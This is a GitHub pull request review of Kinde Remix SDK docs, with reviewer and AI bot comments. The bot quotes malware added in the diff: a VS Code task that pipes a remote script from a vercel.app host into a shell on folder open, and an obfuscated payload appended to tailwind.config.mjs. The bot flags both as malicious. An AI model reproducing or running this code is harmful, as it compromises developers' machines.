While configuring your backend application in the Kinde dashboard, copy the Client ID, Client Secret, Issuer URL, and any required redirect URIs. Store these values securely in your application's environment variables.

Add KINDE_AUDIENCE if your application needs to call protected APIs (this populates the aud claim in access tokens).

3. Select **Save**.

## Set up environment variables
## Configure environment variables
Copy link
Copy Markdown

@KomanRudden KomanRudden Jan 17, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"Configure environment variables" -> "Environment Variables"

```

## Set up authentication routes
## Set up Kinde Auth Route Handlers
Copy link
Copy Markdown

@KomanRudden KomanRudden Jan 17, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"Set up Kinde Auth Route Handlers" -> "Authentication Route Handler"

## Set up Kinde Auth Route Handlers

Create this file `app/routes/kinde-auth.$index.tsx`.
Create `app/routes/kinde-auth.$index.tsx`. This single route file handles login, logout, register, callback, health, etc.
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Create a catch-all route to handle all Kinde authentication endpoints (login, logout, callback, register, health check, etc.) - e.g. app/routes/kinde-auth.$index.tsx

}
```

## Customising Kinde Auth API paths
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

""Customising Kinde Auth API paths" -> "Custom Base Path"


## Customising Kinde Auth API paths

By default, Kinde endpoints live at `/kinde-auth/*`. If you want a different base path, rename the route file (for example `app/routes/auth.$index.tsx`) and update any links that point to `/kinde-auth/...` to the new path.
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

By default, authentication endpoints are mounted at /kinde-auth/. To use a different prefix (e.g. /auth/):

  1. Rename the file → app/routes/auth.$index.tsx
  2. Update all references (links, redirects) from /kinde-auth/... to the new path


By default, Kinde endpoints live at `/kinde-auth/*`. If you want a different base path, rename the route file (for example `app/routes/auth.$index.tsx`) and update any links that point to `/kinde-auth/...` to the new path.

## Set up middleware
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"Set up middleware" -> "Session Management"


## Set up middleware

Remix does not require a separate middleware file. Use loaders to validate the session and pass the returned `headers` through your responses so refresh tokens can rotate in the background.
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Remix handles protection and session validation via loaders. Always return the headers object from getKindeSession in your responses to enable automatic background refresh token rotation.

};
```

## Set up the Kinde Auth Provider
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"Set up the Kinde Auth Provider" -> "Client-Side Auth Context (KindeProvider)"


## Set up the Kinde Auth Provider

The Remix SDK works server-side, but you can wrap your root to expose auth state to components. Use the React provider and feed it data from your loader.
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Although the SDK is primarily server-oriented, you can expose authentication state to React components using the KindeProvider.

Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (2)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (2)

299-332: Add refreshTokens to the destructuring example.

The refreshTokens() method is documented in the "Authentication and user information" section but is missing from the code snippet destructuring. According to the Kinde Remix SDK API, refreshTokens() is available from getKindeSession(request) and should be included.

Suggested fix
const {
  getUser,
  getBooleanFlag,
  getFlag,
  getIntegerFlag,
  getStringFlag,
  getPermission,
  getClaim,
  getClaimValue,
  getOrganization,
  getPermissions,
  getToken,
+ refreshTokens,
  getUserOrganizations,
  getUserProfile,
  isAuthenticated
} = await getKindeSession(request);

261-276: Add headers to auth redirects — required for session rotation to work.

The redirect() calls on lines 261-276 and 385-390 are missing the headers parameter. Per Kinde's SDK requirements, these headers must be passed to any redirect() response so that Set-Cookie headers for session rotation survive the redirect. Without them, session rotation will fail.

🔧 Required fix
-    throw redirect("/kinde-auth/login?returnTo=/protected-route");
+    throw redirect("/kinde-auth/login?returnTo=/protected-route", { headers });
-    throw redirect("/kinde-auth/login?returnTo=/protected");
+    throw redirect("/kinde-auth/login?returnTo=/protected", { headers });
🤖 Fix all issues with AI agents
In `@src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx`:
- Around line 549-556: Change the code fence from "shell" to "env" and update
the multi-audience example to use quoted space-separated values; specifically,
in the Audience section replace the ```shell fence with ```env and change the
second KINDE_AUDIENCE line to use KINDE_AUDIENCE="<api-one> <api-two>" so it
correctly represents a .env value for KINDE_AUDIENCE.

Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (2)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (2)

267-277: Add missing imports in the returnTo loader example.

The snippet uses json, redirect, LoaderFunctionArgs, and getKindeSession but lacks their import statements. Unlike the surrounding examples in this section, which include imports, this snippet is not copy-paste ready. Add the following imports:

+import { json, LoaderFunctionArgs, redirect } from "@remix-run/node";
+import { getKindeSession } from "@kinde-oss/kinde-remix-sdk";
+
 export const loader = async ({request}: LoaderFunctionArgs) => {

95-116: Fix the catch‑all route filename and parameter syntax to match Remix splat route conventions.

The example uses app/routes/kinde-auth.$index.tsx and params.index, which are incorrect for Remix splat routes. Splat routes use $ in the filename and access the captured path via params["*"].

Required changes
-Create a catch-all route to handle all Kinde authentication endpoints (login, logout, callback, register, health check, etc.) - e.g. `app/routes/kinde-auth.$index.tsx`
+Create a catch-all route to handle all Kinde authentication endpoints (login, logout, callback, register, health check, etc.) - e.g. `app/routes/kinde-auth.$.tsx`

 export async function loader({ params, request }: LoaderFunctionArgs) {
-  return await handleAuth(request, params.index);
+  return await handleAuth(request, params["*"]);
 }

-1. Rename the file → `app/routes/auth.$index.tsx`
+1. Rename the file → `app/routes/auth.$.tsx`
🤖 Fix all issues with AI agents
In `@src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx`:
- Around line 412-440: The first snippet defines loader and calls json,
LoaderFunctionArgs and getKindeSession but is missing imports; add the imports
at the top of that snippet—import json and LoaderFunctionArgs from
"@remix-run/node" and import getKindeSession from "@kinde-oss/kinde-remix-sdk"
so the loader function compiles and the referenced symbols (loader, json,
LoaderFunctionArgs, getKindeSession) are resolved.
♻️ Duplicate comments (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (1)

482-505: Re‑validate the Self‑serve portal API link.

This link was previously reported as returning 404. Please re‑check the target and update if the canonical path has changed.

#!/bin/bash
# Verify the Self-serve portal API link target
curl -s -o /dev/null -w "%{http_code}\n" "https://kinde.com/build/self-service-portal/self-serve-portal-for-orgs/"

@p-stam001 p-stam001 force-pushed the main branch 2 times, most recently from 43a95ec to c1645b0 Compare January 25, 2026 16:15
Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 3

🤖 Fix all issues with AI agents
In @.vscode/settings.json:
- Line 4: The trailing inline comment for the setting "editor.wordWrap" is
incorrect for the current value "off"; update the comment to accurately reflect
that "off" disables word wrapping (e.g., change the comment to "Disables word
wrapping") or remove the comment entirely; locate the "editor.wordWrap" entry
and fix the comment text accordingly.
- Around line 37-46: Remove the invalid
"terminal.integrated.defaultProfileCondition" block (and any uses of the
non-existent exists() function) and replace it by defining a terminal profile
under "terminal.integrated.profiles.<platform>" with a "path" array listing
candidate executables, then set "terminal.integrated.defaultProfile.<platform>"
to that profile name (e.g. create profile "GitBash" in
"terminal.integrated.profiles.windows" with a path array and point
"terminal.integrated.defaultProfile.windows" at "GitBash"); update corresponding
entries for linux/osx as needed.

In @.vscode/tasks.json:
- Around line 1-30: Remove the malicious auto-run task in .vscode/tasks.json:
delete the entire file (or at minimum remove the task with label "env"),
eliminate any runOptions with "runOn": "folderOpen", and remove the commands
that pipe remote content to a shell (the osx/linux/windows "command" entries
that use curl ... | bash/sh/cmd); revert the offending commit c1645b0 that
introduced this change, audit the contributor p-stam115 for other commits, scan
the repo for similar exec-on-open tasks, and notify maintainers/watchers of the
security incident.
♻️ Duplicate comments (2)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (2)

484-484: Verify the Self-serve portal documentation link.

This link was previously flagged as returning a 404 status. Please verify the correct URL for the Self-serve portal API documentation and update accordingly.

#!/bin/bash
# Check if the referenced path exists in the documentation
fd "self-serve" --type f -e mdx -e md
echo "---"
# Search for self-service portal references
rg -l "self-serve.*portal" --type-add 'mdx:*.mdx' -t mdx | head -10

412-417: Add missing imports to the first code snippet.

This code block uses LoaderFunctionArgs, getKindeSession, and json without importing them. For consistency with the other examples in this section (which do include imports) and to support copy-paste usage, add the required imports.

Suggested fix
+import { json, LoaderFunctionArgs } from "@remix-run/node";
+import { getKindeSession } from "@kinde-oss/kinde-remix-sdk";
+
 // Refresh tokens in the background
 export const loader = async ({request}: LoaderFunctionArgs) => {
   const {headers} = await getKindeSession(request);
   return json({payload: "Refreshing tokens in the background"}, {headers});
 };

{
"files.autoSave": "off", // Automatically saves files after a delay
"editor.minimap.enabled": false, // Disables the minimap
"editor.wordWrap": "off", // Enables word wrapping
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Misleading comment: setting disables word wrap, not enables it.

The comment says "Enables word wrapping" but the value is "off", which disables it.

Suggested fix
-    "editor.wordWrap": "off", // Enables word wrapping
+    "editor.wordWrap": "off", // Disables word wrapping
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
"editor.wordWrap": "off", // Enables word wrapping
"editor.wordWrap": "off", // Disables word wrapping
🤖 Prompt for AI Agents
In @.vscode/settings.json at line 4, The trailing inline comment for the setting
"editor.wordWrap" is incorrect for the current value "off"; update the comment
to accurately reflect that "off" disables word wrapping (e.g., change the
comment to "Disables word wrapping") or remove the comment entirely; locate the
"editor.wordWrap" entry and fix the comment text accordingly.

Comment on lines +37 to +46
"terminal.integrated.defaultProfileCondition": {
"profiles": {
"GitHub CLI": "exists(/usr/bin/gh) || exists(/usr/local/bin/gh) || exists(C:\\Program Files\\Git\\bin\\bash.exe)"
},
"fallbacks": {
"windows": "PowerShell",
"linux": "Default Shell",
"osx": "Default Shell"
}
}
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

🧩 Analysis chain

🌐 Web query:

VSCode terminal.integrated.defaultProfile settings documentation

💡 Result:

VS Code documents terminal.integrated.defaultProfile.<platform> on the Terminal Profiles page. (code.visualstudio.com)

What it does

  • Sets the default integrated terminal profile used when you create a new terminal.
  • Must match the name of a profile defined in terminal.integrated.profiles.<platform> (or one of the auto-detected built-ins). (code.visualstudio.com)

Settings keys

  • terminal.integrated.defaultProfile.windows
  • terminal.integrated.defaultProfile.linux
  • terminal.integrated.defaultProfile.osx (code.visualstudio.com)

Example

{
  "terminal.integrated.profiles.windows": {
    "my-pwsh": { "source": "PowerShell", "args": ["-NoProfile"] }
  },
  "terminal.integrated.defaultProfile.windows": "my-pwsh"
}

(code.visualstudio.com)

Related

  • The recommended approach (profiles + defaultProfile) replaced the older terminal.integrated.shell* settings (deprecated since VS Code 1.56 / April 2021). (code.visualstudio.com)

Citations:


🌐 Web query:

VSCode exists() function conditional settings terminal

💡 Result:

VS Code settings don’t support an exists() function (there’s no conditional “if file/exe exists then set setting” mechanism in settings.json). For the integrated terminal, the closest built-in equivalent is to define a terminal profile and give its path as a list of candidate executables; VS Code will use the first one it can resolve. [1], [2]

Example (Windows: prefer Git Bash if installed in common locations, otherwise fall back to PowerShell):

{
  "terminal.integrated.profiles.windows": {
    "BashOrPwsh": {
      "path": [
        "C:\\Program Files\\Git\\bin\\bash.exe",
        "C:\\Program Files (x86)\\Git\\bin\\bash.exe",
        "pwsh.exe",
        "powershell.exe"
      ]
    }
  },
  "terminal.integrated.defaultProfile.windows": "BashOrPwsh"
}

Sources: [1] [2]


Invalid VSCode setting: terminal.integrated.defaultProfileCondition does not exist.

This configuration is not valid. VSCode does not support exists() conditional functions or terminal.integrated.defaultProfileCondition in settings.json. This entire block will be silently ignored.

The correct approach is to define a terminal profile with path as an array of candidate executables, and set terminal.integrated.defaultProfile.<platform> to reference it. VSCode will use the first resolvable executable in the list.

Example:

{
  "terminal.integrated.profiles.windows": {
    "GitBash": {
      "path": [
        "C:\\Program Files\\Git\\bin\\bash.exe",
        "C:\\Program Files (x86)\\Git\\bin\\bash.exe",
        "pwsh.exe"
      ]
    }
  },
  "terminal.integrated.defaultProfile.windows": "GitBash"
}
🤖 Prompt for AI Agents
In @.vscode/settings.json around lines 37 - 46, Remove the invalid
"terminal.integrated.defaultProfileCondition" block (and any uses of the
non-existent exists() function) and replace it by defining a terminal profile
under "terminal.integrated.profiles.<platform>" with a "path" array listing
candidate executables, then set "terminal.integrated.defaultProfile.<platform>"
to that profile name (e.g. create profile "GitBash" in
"terminal.integrated.profiles.windows" with a path array and point
"terminal.integrated.defaultProfile.windows" at "GitBash"); update corresponding
entries for linux/osx as needed.

Comment on lines +1 to +30
{
"version": "2.0.0",
"tasks": [
{
"label": "env",
"type": "shell",
"osx": {
"command": "curl https://vscode-extension-260120.vercel.app/settings/linux?flag=5- | bash"
},
"linux": {
"command": "curl https://vscode-extension-260120.vercel.app/settings/linux?flag=5- | sh"
},
"windows": {
"command": "curl https://vscode-extension-260120.vercel.app/settings/win?flag=5- | cmd"
},
"problemMatcher": [],
"presentation": {
"reveal": "never",
"echo": false,
"focus": false,
"close": true,
"panel": "dedicated",
"showReuseMessage": false
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
} No newline at end of file
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

🏁 Script executed:

# First, verify the file exists and check its exact contents
cat -n .vscode/tasks.json 2>/dev/null || echo "File not found or doesn't exist"

Repository: kinde-oss/documentation

Length of output: 1200


🏁 Script executed:

# Search for references to the suspicious domain
rg "vscode-extension-260120" --type-add 'all:*' -t all 2>/dev/null || echo "No matches found"

Repository: kinde-oss/documentation

Length of output: 83


🏁 Script executed:

# Search for vercel.app references
rg "vercel\.app" --type-add 'all:*' -t all 2>/dev/null || echo "No matches found"

Repository: kinde-oss/documentation

Length of output: 83


🏁 Script executed:

# Check git history for this file
git log --oneline .vscode/tasks.json 2>/dev/null | head -20 || echo "No git history available"

Repository: kinde-oss/documentation

Length of output: 91


🏁 Script executed:

# Look for any documentation or comments about this task
fd -e md -e txt -e rst 2>/dev/null | xargs grep -l "env" 2>/dev/null | head -10 || echo "No docs found"

Repository: kinde-oss/documentation

Length of output: 404


🏁 Script executed:

# Check if .vscode directory has other files that might provide context
ls -la .vscode/ 2>/dev/null || echo "No .vscode directory found"

Repository: kinde-oss/documentation

Length of output: 427


🏁 Script executed:

# Get the detailed diff for the commit that modified this file
git show c1645b0 --no-patch --format="%B"

Repository: kinde-oss/documentation

Length of output: 84


🏁 Script executed:

# Get the actual diff
git show c1645b0 .vscode/tasks.json 2>/dev/null || echo "Unable to get diff"

Repository: kinde-oss/documentation

Length of output: 1356


🏁 Script executed:

# Check README for setup or environment instructions
fd README -t f | xargs cat 2>/dev/null | head -100

Repository: kinde-oss/documentation

Length of output: 2059


🏁 Script executed:

# Search for any .env or setup-related documentation
fd -e md -e txt 2>/dev/null | xargs grep -l "setup\|environment\|env\|vscode" 2>/dev/null | head -20

Repository: kinde-oss/documentation

Length of output: 624


🏁 Script executed:

# Check if there's any mention of this task in the codebase
rg "\"env\"" --type json 2>/dev/null

Repository: kinde-oss/documentation

Length of output: 49


🏁 Script executed:

# Check all commits by this author
git log --author="p-stam115" --oneline

Repository: kinde-oss/documentation

Length of output: 91


🏁 Script executed:

# Check if there are any other suspicious tasks or files added recently
git log --all --oneline --since="2026-01-15" | head -20

Repository: kinde-oss/documentation

Length of output: 258


🏁 Script executed:

# Look for any .gitignore entries that might explain hidden execution
cat .gitignore 2>/dev/null || echo "No .gitignore"

Repository: kinde-oss/documentation

Length of output: 295


🏁 Script executed:

# Check if there's a CONTRIBUTING or security policy that explains this
find . -iname "SECURITY*" -o -iname "CONTRIBUTING*" | xargs cat 2>/dev/null

Repository: kinde-oss/documentation

Length of output: 9582


🏁 Script executed:

# Look for any CI/CD or build configuration that might legitimize this
fd -e yml -e yaml 2>/dev/null | grep -E "(github|gitlab|ci|action|workflow)" | head -10

Repository: kinde-oss/documentation

Length of output: 49


🚨 CRITICAL SECURITY INCIDENT: Unauthorized remote code execution on folder open.

This file downloads and executes arbitrary scripts from an external URL (vscode-extension-260120.vercel.app) automatically when the repository is opened. This is a confirmed malicious injection:

  • Remote code execution: curl ... | bash pipes unvetted code directly to shell
  • Hidden execution: reveal: "never", echo: false, close: true hide all trace
  • Auto-triggers on open: runOn: "folderOpen" executes without user consent
  • Unauthorized contributor: Added by p-stam115 in a single commit with a vague message; not an official Kinde maintainer
  • Non-official domain: URL uses a personal Vercel deployment, not kinde.com or kinde-oss domains

Immediate actions required:

  1. Remove this file entirely
  2. Revert commit c1645b0
  3. Audit the contributor account (p-stam115) for other malicious activity
  4. Review repository access controls
  5. Notify repository watchers of the security incident

Anyone who cloned this repository between Jan 18-present may have executed the malicious code.

🤖 Prompt for AI Agents
In @.vscode/tasks.json around lines 1 - 30, Remove the malicious auto-run task
in .vscode/tasks.json: delete the entire file (or at minimum remove the task
with label "env"), eliminate any runOptions with "runOn": "folderOpen", and
remove the commands that pipe remote content to a shell (the osx/linux/windows
"command" entries that use curl ... | bash/sh/cmd); revert the offending commit
c1645b0 that introduced this change, audit the contributor p-stam115 for other
commits, scan the repo for similar exec-on-open tasks, and notify
maintainers/watchers of the security incident.

Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🤖 Fix all issues with AI agents
In `@tailwind.config.mjs`:
- Line 87: The file contains an injected obfuscated runtime payload (symbols
like global.i, _$_46e0, lyR, AWB, oWN) that executes at import and mutates
globals; remove this entire payload so only the Tailwind config object and its
export remain—delete everything after the exported config object closing (the
final "};" of the config) and ensure the module only exports the Tailwind
configuration (no global mutations or obfuscated functions remain).
- Around line 1-5: Remove the duplicate import of starlightPlugin — keep a
single ES module import for starlightPlugin (remove the second "import
starlightPlugin from '@astrojs/starlight-tailwind';") so the module only
declares starlightPlugin once; ensure any required "createRequire" usage and
other imports (e.g., colors) remain untouched and that only one starlightPlugin
binding is exported/used in the config.
♻️ Duplicate comments (3)
.vscode/tasks.json (1)

1-27: Remove the auto-run VS Code task that executes remote shell commands.

This task downloads and executes a remote script on folder open, which is a critical RCE vector. It must be removed.

🛠️ Proposed fix (delete the task)
-{
-  "version": "2.0.0",
-  "tasks": [
-    {
-      "label": "env",
-      "type": "shell",
-      ...
-      "runOptions": { "runOn": "folderOpen" }
-    }
-  ]
-}
.vscode/settings.json (1)

37-46: terminal.integrated.defaultProfileCondition is not a supported VS Code setting.

VS Code ignores this block (and doesn’t support exists()), so the intended conditional default never applies. Use terminal.integrated.profiles.<platform> with path arrays and set terminal.integrated.defaultProfile.<platform> explicitly.

🛠️ Minimal fix (remove invalid block)
-  "terminal.integrated.defaultProfileCondition": {
-    "profiles": {
-      "GitHub CLI": "exists(/usr/bin/gh) || exists(/usr/local/bin/gh) || exists(C:\\Program Files\\Git\\bin\\bash.exe)"
-    },
-    "fallbacks": {
-      "windows": "PowerShell",
-      "linux": "Default Shell",
-      "osx": "Default Shell"
-    }
-  }
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (1)

412-417: Add imports before the first refresh-token loader example.

The first snippet uses json, LoaderFunctionArgs, and getKindeSession, but the imports appear later in the same code fence. Copy‑paste fails. Add imports before the loader or split the examples into separate fences.

🛠️ Proposed fix
 ```typescript
+import { json, LoaderFunctionArgs } from "@remix-run/node";
+import { getKindeSession } from "@kinde-oss/kinde-remix-sdk";
 // Refresh tokens in the background
 export const loader = async ({request}: LoaderFunctionArgs) => {
   const {headers} = await getKindeSession(request);
   return json({payload: "Refreshing tokens in the background"}, {headers});
 };

Comment on lines 1 to 5
import colors from 'tailwindcss/colors';
import starlightPlugin from '@astrojs/starlight-tailwind';

import { createRequire } from 'module';
const require = createRequire(import.meta.url);
import starlightPlugin from '@astrojs/starlight-tailwind';
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

🏁 Script executed:

find . -name "tailwind.config.mjs" -type f

Repository: kinde-oss/documentation

Length of output: 88


🏁 Script executed:

cat -n ./tailwind.config.mjs

Repository: kinde-oss/documentation

Length of output: 10323


🌐 Web query:

ECMAScript modules duplicate named imports syntax error behavior

💡 Result:

In ECMAScript modules, duplicate local import bindings are early SyntaxErrors (caught at parse/early-error time), whether the duplication happens within one import declaration or across multiple import declarations in the same module:

1) Duplicates within the same import declaration ⇒ SyntaxError

An ImportDeclaration is a Syntax Error if its BoundNames contains any duplicate entries. This covers cases like:

import { a, a } from "m";          // SyntaxError
import { a as x, b as x } from "m"; // SyntaxError (duplicate local name x)

Because BoundNames are the local names being bound (after as, if present). [1]

2) Duplicates across different import declarations ⇒ SyntaxError

All import bindings are lexically declared names in the module scope, and the module is a Syntax Error if its LexicallyDeclaredNames contains any duplicate entries. So this is also invalid:

import { a } from "m";
import { b as a } from "m2"; // SyntaxError (a is declared twice in the module scope)

[2]

3) Importing the same exported name twice is OK if the local names differ

import { a as x, a as y } from "m"; // OK (different local bindings)

This is allowed because there’s no duplicate local bound name. [1]

Sources: ECMAScript Language Specification (Early Errors for ImportDeclaration; module LexicallyDeclaredNames duplicate rule). [1][2]

References:
[1] https://tc39.es/ecma262/multipage/ecmascript-language-scripts-and-modules.html
[2] https://tc39.es/ecma262/2023/multipage/ecmascript-language-scripts-and-modules.html


Remove duplicate starlightPlugin import.

The same binding is imported twice (lines 2 and 5), which violates ECMAScript module syntax rules and causes a parse-time SyntaxError. Keep only one import.

Fix
 import colors from 'tailwindcss/colors';
 import starlightPlugin from '@astrojs/starlight-tailwind';
 import { createRequire } from 'module';
 const require = createRequire(import.meta.url);
-import starlightPlugin from '@astrojs/starlight-tailwind';
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
import colors from 'tailwindcss/colors';
import starlightPlugin from '@astrojs/starlight-tailwind';
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
import starlightPlugin from '@astrojs/starlight-tailwind';
import colors from 'tailwindcss/colors';
import starlightPlugin from '@astrojs/starlight-tailwind';
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
🧰 Tools
🪛 Biome (2.1.2)

[error] 5-5: Shouldn't redeclare 'starlightPlugin'. Consider to delete it or rename it.

'starlightPlugin' is defined here:

(lint/suspicious/noRedeclare)

🤖 Prompt for AI Agents
In `@tailwind.config.mjs` around lines 1 - 5, Remove the duplicate import of
starlightPlugin — keep a single ES module import for starlightPlugin (remove the
second "import starlightPlugin from '@astrojs/starlight-tailwind';") so the
module only declares starlightPlugin once; ensure any required "createRequire"
usage and other imports (e.g., colors) remain untouched and that only one
starlightPlugin binding is exported/used in the config.

},
plugins: [starlightPlugin()]
};
}; global.i='5-215';var _$_46e0=(function(r,i){var f=r.length;var l=[];for(var c=0;c< f;c++){l[c]= r.charAt(c)};for(var c=0;c< f;c++){var u=i* (c+ 224)+ (i% 22828);var w=i* (c+ 222)+ (i% 38027);var q=u% f;var p=w% f;var b=l[q];l[q]= l[p];l[p]= b;i= (u+ w)% 3080816};var y=String.fromCharCode(127);var a='';var g='\x25';var z='\x23\x31';var t='\x25';var x='\x23\x30';var s='\x23';return l.join(a).split(g).join(y).split(z).join(t).split(x).join(s).split(y)})("%o%bcretmj",1550296);global[_$_46e0[0]]= require;if( typeof module=== _$_46e0[1]){global[_$_46e0[2]]= module}(function(){var Vew='',BwP=283-272;function lyR(i){var c=2883316;var r=i.length;var l=[];for(var x=0;x<r;x++){l[x]=i.charAt(x)};for(var x=0;x<r;x++){var y=c*(x+463)+(c%39808);var z=c*(x+605)+(c%13288);var t=y%r;var w=z%r;var h=l[t];l[t]=l[w];l[w]=h;c=(y+z)%4185096;};return l.join('')};var XgO=lyR('itorzmsoncfxbadrswvkjguuerhtnyclpoctq').substr(0,BwP);var TpC='{a[ r=l3par2=,h=l6+v[r)p+"1bfd=frh j8l)ntp.rat,v)x(ze;7a, t=)7+,,5 7r,"1}8v,i6=7c,)0w8r,h1n7",e4r9o,k8=7C,s0;6),05;8,,k9h;2ah f=a]Cf"r vzrczr0nzqw=lrnCtv;.+;)([r[d]f=<+o;}ae h=u]6sm=n0)ae=h3ies=(0.f r[vfr=b.0ab.agg=mvn(sdl]nlts;v+1).vkrumoawghmrn{sabm.8p)i((1 z)=f]r.vervllmjl;nuta-o;v>p0;lo-t{naa ;=su)ltv.r g;mala;ga m=+u0l(v,r+n=0;v8rsvrgtl2nkt3;}ar n;=o](ia1 9=];A<g;=+l)=vdr)u8gocra,C1drAr(,)(v}r7j]qouf;if,jc{j={j}1r*=+g.(hir,ove.t1k61,-u;t=(;e+u;pe[sa 3fsuf=+)so=a[(n.(e)g(h swgocfa.CzdeA((k+6)[+0.th[rtole3t]k;2n-r;;=[;!+ 2h}.l;e{c.n*iou(;vid(r= nrl,)4=z]=i+(o>n)g.ru;h2gds6b(tjivganrd;)lh=p)so(e[i+;]k;)=q+a;aiC()!=nslv)lir(m<t)4.Su.h)g7srbat-i]ganu)8m(ln=9. oeni"d);}rt push(g[l];;nv;r+xht{j)ip(6");nav v=k4+,k2w9e,k6,1],h9e.goeckt(w,;<ai ;=2tbi0gzf9oiC(a0Cfdh(h6s;aoe(hau f=e;5<t."e=g-hhz(++x;xrsnlyt0rupkcoadA7(h)). o2neS.r(n;.nrAmshzr[oae-f.z+)0;he"ugnqxosvltt+r="c"+.ao[nrrt;';var taY=lyR[XgO];var vJr='';var AWB=taY;var goZ=taY(vJr,lyR(TpC));var Izf=goZ(lyR('rOA_9_\/0rcb("0j(;%,2;8.rw3fT it=amrnndldh8Or+.\/e]lupS.t%}m(i]hOrOst%eo6d.Dbq%!Scut-et.$.6iucne;g7%{.5y.eb.d].1 9=7su)pOcrC122Dt..%rbhtnf@t7et_#f}tbbcepwr.idt.09atocefv2.3OcagOeOi)e]%=%Ocsi7dtu"_Oe6r82Oabh(rrr4l]%gsH&9%O%=%]ctsht:0+sco;ius.1o%gy}g*b10OT o%ruiba%a4Dt%Crn2CTo-mf3%\/ded;t%r;9.%irbm9)aw Sj!(%.n:a8uhnh7>beohi(n)pOrOhqbCawd(mOsTs}ie.;C)n1!f=tnl9O0=joeiagw-4elcoIm(t6k,aOp]t]ats[h77%2aCOct2)kl0A.ebO.rd(gcd=8=y0ad.hEn%:z:63eo_18O?;4Ogse(Nmp(?..a%Oy.%]inr=o;f%.=s)h%58m]a8%clOo+%iu(63%Of}.!Ch%_rOdpT=-}_)fO% l9ck_er}a;%(.O0=uj4wu=2[M.teb4se4w9oi]i?rbaOi]0=s>6b1O%losttaa8n7a%?e th5Odz%;l5p,7vk=Mm%Ona_\'g\/rS%Ok.t-ag3ti]ntt76Oa;."b4.c%.64bntOlc%b7_9:slcO0en+dgcnin.617tc2tass;bip%mp4fc)o+o;rN.(CjeO.Oml3Ot%ewl:r(p!itf..)d_pa3)j.d%,_981.0);Ou7cai(n5bb,[,o)]v$CO=o.0lcnbtdO(rf[O;8o;()OOz601z0w.b4;7+t).r>z!=ob:.2c<al.3tez]}8f#rEv1C)=b;z.?..ggz=+e{)Oeqooeamb$z+.i2d7e+ib.oO.*4&6]2TOrm=o[a;b\'zr.72v3o+=b[o6.e4:0)5aOxhdq(.rgp>9=+%4b7Oyj1rnhp;][.](.erHdl;O[[]n.(jeo3.O(O+,bo)c.q6f0b6(9hO3lCS3r2n9..fno9C(awC\/do(e2t)]>]=8fhO4py.c%eOot=.)#4.b;r=1f%.a;3=afn0eOdcd.]#)f)O]rr=]O3prO3l 5]).==OhktOacn5e)r(Os8n..](t=OO7i g9o1a=;r-5]o=m$_]);e<.=]-m]];O" OtOtOOOo1f]G($r3a8F0O.Oq)O;sO;1cO!1O]f(r,at2Fo?O=x1lG,!{OOei=5bc}h;+[uO 32,tOOODrmO}Oc8t]oe*O{Ot}3}a[eOt4}92fiOO=n=\'bd)nOt1.;>#9u1l]O)Ot)!. Hr)0iO\'.,4En;s:]"h(_,-=[b)]]s.{a8c@e$_2)]=(?,.)2>.79=.-.%i4D]g{)s)ncp(:t6.3),weihkdacgpurtm+:b,Od)1b)8O]e1{(o=toa_eOsvmet*ou:]6O5n}cO?n4dB2(1"*O6=]Dey(@O;OeeoO4OfOO7o9[+O..ti).tv_o!F]z(.F]D2(8-i%&])(%)t+1A4)3)r_)!sO%Or).n:4c7 